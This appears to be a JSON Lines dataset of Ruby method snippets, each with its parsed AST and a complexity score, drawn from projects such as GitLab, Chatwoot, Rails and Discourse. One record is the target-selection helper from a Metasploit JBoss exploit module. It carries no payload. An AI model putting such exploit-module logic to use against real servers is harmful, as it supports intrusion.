{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/mailers/application_mailer.rb","start_line":14,"raw_source":"def global_config\n      @global_config ||= GlobalConfig.get('BRAND_NAME', 'BRAND_URL')\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"global_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@global_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalConfig\"]},\"get\",{\"type\":\"str\",\"children\":[\"BRAND_NAME\"]},{\"type\":\"str\",\"children\":[\"BRAND_URL\"]}]}]}]}","id":"18285088-36b5-4191-aeb1-2d1adaa4b68d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/value_streams_dashboard_helpers.rb","start_line":19,"raw_source":"def visit_project_value_streams_dashboard(project)\n    visit project_analytics_dashboards_path(project)\n    click_link \"Value Streams Dashboard\"\n\n    wait_for_requests\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_project_value_streams_dashboard\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"project_analytics_dashboards_path\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"send\",\"children\":[null,\"click_link\",{\"type\":\"str\",\"children\":[\"Value Streams Dashboard\"]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}","id":"9afacac0-99d7-4792-bb9f-df4140648619"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/lets_encrypt/client.rb","start_line":43,"raw_source":"def private_key\n        strong_memoize(:private_key) do\n          private_key_string = Gitlab::CurrentSettings.lets_encrypt_private_key\n          private_key_string ||= generate_private_key\n          OpenSSL::PKey.read(private_key_string) if private_key_string\n        end\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"private_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"private_key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"private_key_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"lets_encrypt_private_key\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"private_key_string\"]},{\"type\":\"send\",\"children\":[null,\"generate_private_key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"private_key_string\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"PKey\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"private_key_string\"]}]},null]}]}]}]}","id":"cc2b92c1-bdb3-4e64-b969-9ccf83a70cd7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":637,"raw_source":"def render_api_error_with_reason!(status, message, reason)\n      message = [message]\n      message << \"- #{reason}\" if reason\n      render_api_error!(message.join(' '), status)\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"render_api_error_with_reason!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"reason\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"- \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render_api_error!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}","id":"32630bda-d355-4596-92f4-66be412288e1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/validations/numericality_validation_test.rb","start_line":13,"raw_source":"def test_column_with_precision\n    model_class.validates_numericality_of(\n      :unscaled_bank_balance, equal_to: 10_000_000.12\n    )\n\n    subject = model_class.new(unscaled_bank_balance: 10_000_000.121)\n\n    assert_predicate subject, :valid?\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_column_with_precision\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_class\"]},\"validates_numericality_of\",{\"type\":\"sym\",\"children\":[\"unscaled_bank_balance\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"equal_to\"]},{\"type\":\"float\",\"children\":[10000000.12]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subject\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unscaled_bank_balance\"]},{\"type\":\"float\",\"children\":[10000000.121]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"subject\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"e0b984a4-8dc8-4a89-bae6-1e3a9f0634de"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/base.rb","start_line":44,"raw_source":"def click_primary_button\n        footer.find(\".btn-primary\").click\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"click_primary_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"footer\"]},\"find\",{\"type\":\"str\",\"children\":[\".btn-primary\"]}]},\"click\"]}]}","id":"69fba194-2cf8-4187-bdd6-240d311e8c26"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/jboss_maindeployer.rb","start_line":107,"raw_source":"def auto_target\n    if datastore['VERB'] == 'HEAD' then\n      print_status(\"Sorry, automatic target detection doesn't work with HEAD requests\")\n    else\n      print_status(\"Attempting to automatically select a target...\")\n      res = query_serverinfo\n      if not (plat = detect_platform(res))\n        fail_with(Failure::NoTarget, 'Unable to detect platform!')\n      end\n\n      if not (arch = detect_architecture(res))\n        fail_with(Failure::NoTarget, 'Unable to detect architecture!')\n      end\n\n      # see if we have a match\n      targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }\n    end\n\n    # no matching target found, use Java as fallback\n    java_targets = targets.select { |t| t.name =~ /^Java/ }\n    return java_targets[0]\n  end","complexity_score":41.0,"ast_json":"{\"type\":\"def\",\"children\":[\"auto_target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERB\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"HEAD\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sorry, automatic target detection doesn't work with HEAD requests\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting to automatically select a target...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"query_serverinfo\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plat\",{\"type\":\"send\",\"children\":[null,\"detect_platform\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Unable to detect platform!\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"send\",\"children\":[null,\"detect_architecture\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Unable to detect architecture!\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"plat\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Arch\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"arch\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]}]},null]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"java_targets\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"name\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Java\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"java_targets\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"98fa9f69-f386-41e6-a2f3-7790e5ee4125"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/mailers/conversation_reply_mailer_helper.rb","start_line":2,"raw_source":"def prepare_mail(cc_bcc_enabled)\n    @options = {\n      to: to_emails,\n      from: email_from,\n      reply_to: email_reply_to,\n      subject: mail_subject,\n      message_id: custom_message_id,\n      in_reply_to: in_reply_to_email,\n      references: references_header\n    }\n\n    if cc_bcc_enabled\n      @options[:cc] = cc_bcc_emails[0]\n      @options[:bcc] = cc_bcc_emails[1]\n    end\n    oauth_smtp_settings\n    set_delivery_method\n\n    # Email type detection logic:\n    # - email_reply: Sets @message with a single message\n    # - Other actions: Set @messages with a collection of messages\n    #\n    # So this check implicitly determines we're handling an email_reply\n    # and not one of the other email types (summary, transcript, etc.)\n    process_attachments_as_files_for_email_reply if @message&.attachments.present?\n    mail(@options)\n  end","complexity_score":24.25,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_mail\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cc_bcc_enabled\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[null,\"to_emails\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"send\",\"children\":[null,\"email_from\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reply_to\"]},{\"type\":\"send\",\"children\":[null,\"email_reply_to\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[null,\"mail_subject\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_id\"]},{\"type\":\"send\",\"children\":[null,\"custom_message_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_reply_to\"]},{\"type\":\"send\",\"children\":[null,\"in_reply_to_email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"references\"]},{\"type\":\"send\",\"children\":[null,\"references_header\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cc_bcc_enabled\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cc_bcc_emails\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"bcc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cc_bcc_emails\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"oauth_smtp_settings\"]},{\"type\":\"send\",\"children\":[null,\"set_delivery_method\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"attachments\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"process_attachments_as_files_for_email_reply\"]},null]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"ivar\",\"children\":[\"@options\"]}]}]}]}","id":"38972991-0b7e-4d1e-8b6e-c099da7c4856"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/import/metasploit_framework/xml.rb","start_line":105,"raw_source":"def import_msf_web_form_element(element, options={}, &notifier)\n    options.assert_valid_keys(:allow_yaml, :workspace)\n\n    import_msf_web_element(element,\n                           :allow_yaml => options[:allow_yaml],\n                           :notifier => notifier,\n                           :type => :form,\n                           :workspace => options[:workspace]) do |element, options|\n      info = import_msf_text_element(element, 'method')\n\n      # FIXME https://www.pivotaltracker.com/story/show/46578647\n      # FIXME https://www.pivotaltracker.com/story/show/47128407\n      unserialized_params = unserialize_object(\n          element.at('params'),\n          options[:allow_yaml]\n      )\n      info[:params] = nils_for_nulls(unserialized_params)\n\n      info\n    end\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"import_msf_web_form_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"notifier\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"assert_valid_keys\",{\"type\":\"sym\",\"children\":[\"allow_yaml\"]},{\"type\":\"sym\",\"children\":[\"workspace\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_msf_web_element\",{\"type\":\"lvar\",\"children\":[\"element\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_yaml\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_yaml\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifier\"]},{\"type\":\"lvar\",\"children\":[\"notifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"form\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"workspace\"]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"send\",\"children\":[null,\"import_msf_text_element\",{\"type\":\"lvar\",\"children\":[\"element\"]},{\"type\":\"str\",\"children\":[\"method\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"unserialized_params\",{\"type\":\"send\",\"children\":[null,\"unserialize_object\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"at\",{\"type\":\"str\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_yaml\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"nils_for_nulls\",{\"type\":\"lvar\",\"children\":[\"unserialized_params\"]}]}]},{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}]}]}","id":"701461f1-6e0f-4f8f-a55a-a325e322045d"}
{"repo_name":"flog","file_path":"./repos/flog/test/test_flog.rb","start_line":377,"raw_source":"def test_process_iter_dsl_hash\n    # task :woot => 42 do\n    #   something\n    # end\n\n    sexp = s(:iter,\n             s(:call, nil, :task, s(:hash, s(:lit, :woot), s(:lit, 42))),\n             nil,\n             s(:call, nil, :something))\n\n    @klass, @meth = \"task\", \"#woot\"\n\n    assert_process sexp, 2.3, :something => 1.0, :task => 1.0, :magic_number => 0.3\n  end","complexity_score":14.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_process_iter_dsl_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sexp\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"iter\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"task\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"woot\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[42]}]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"something\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@klass\"]},{\"type\":\"ivasgn\",\"children\":[\"@meth\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"task\"]},{\"type\":\"str\",\"children\":[\"#woot\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_process\",{\"type\":\"lvar\",\"children\":[\"sexp\"]},{\"type\":\"float\",\"children\":[2.3]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"something\"]},{\"type\":\"float\",\"children\":[1.0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"task\"]},{\"type\":\"float\",\"children\":[1.0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"magic_number\"]},{\"type\":\"float\",\"children\":[0.3]}]}]}]}]}]}","id":"3ba55501-fea2-4ece-8d5e-db7139cbbd5c"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/subforem.rb","start_line":121,"raw_source":"def self.misc_subforem\n    Rails.cache.fetch(\"subforem_misc_object\", expires_in: 12.hours) do\n      Subforem.find_by(misc: true)\n    end\n  end","complexity_score":5.85,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"misc_subforem\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"subforem_misc_object\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[12]},\"hours\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subforem\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"misc\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"e1ea07c9-1e9f-458d-9152-f6ca3d9fda4e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/spec/workers/cost_query/pdf/export_timesheet_job_spec.rb","start_line":58,"raw_source":"def perform_cost_export(extra_filters: {})\n    query = initial_filter_params.deep_dup\n    extra_filters.each do |attribute_name, operator_and_value|\n      operator, value = operator_and_value\n      query[:operators][attribute_name] = operator\n      query[:values][attribute_name] = value\n    end\n    job = described_class.new(\n      export: CostQuery::Export.create,\n      user:,\n      mime_type: :pdf,\n      query:,\n      project:,\n      cost_types: [-1, 0]\n    )\n    job.perform_now\n    job\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_cost_export\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"extra_filters\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initial_filter_params\"]},\"deep_dup\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_filters\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute_name\"]},{\"type\":\"arg\",\"children\":[\"operator_and_value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"operator\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]}]},{\"type\":\"lvar\",\"children\":[\"operator_and_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operators\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},{\"type\":\"lvar\",\"children\":[\"operator\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"values\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"export\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CostQuery\"]},\"Export\"]},\"create\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mime_type\"]},{\"type\":\"sym\",\"children\":[\"pdf\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cost_types\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"perform_now\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}","id":"41ad24dc-99c2-4e7a-9179-1893152a0324"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/defs/test_defs_vi.rb","start_line":9,"raw_source":"def test_vi\n    assert_equal \"Tết dương lịch\", (Holidays.on(Date.civil(2014, 1, 1), [:vi])[0] || {})[:name]\n\n    assert_equal \"Ngày Giải phóng miền Nam, thống nhất đất nước\", (Holidays.on(Date.civil(2014, 4, 30), [:vi])[0] || {})[:name]\n\n    assert_equal \"Ngày Quốc tế Lao động\", (Holidays.on(Date.civil(2014, 5, 1), [:vi])[0] || {})[:name]\n\n    assert_equal \"Quốc khánh\", (Holidays.on(Date.civil(2014, 9, 2), [:vi])[0] || {})[:name]\n\n    assert_equal \"Giỗ tổ Hùng Vương\", (Holidays.on(Date.civil(2017, 4, 6), [:vi])[0] || {})[:name]\nassert_equal \"Giỗ tổ Hùng Vương\", (Holidays.on(Date.civil(2018, 3, 27), [:vi])[0] || {})[:name]\n\n  end","complexity_score":61.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_vi\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Tết dương lịch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2014]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"vi\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Ngày Giải phóng miền Nam, thống nhất đất nước\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2014]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"vi\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Ngày Quốc tế Lao động\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2014]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"vi\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Quốc 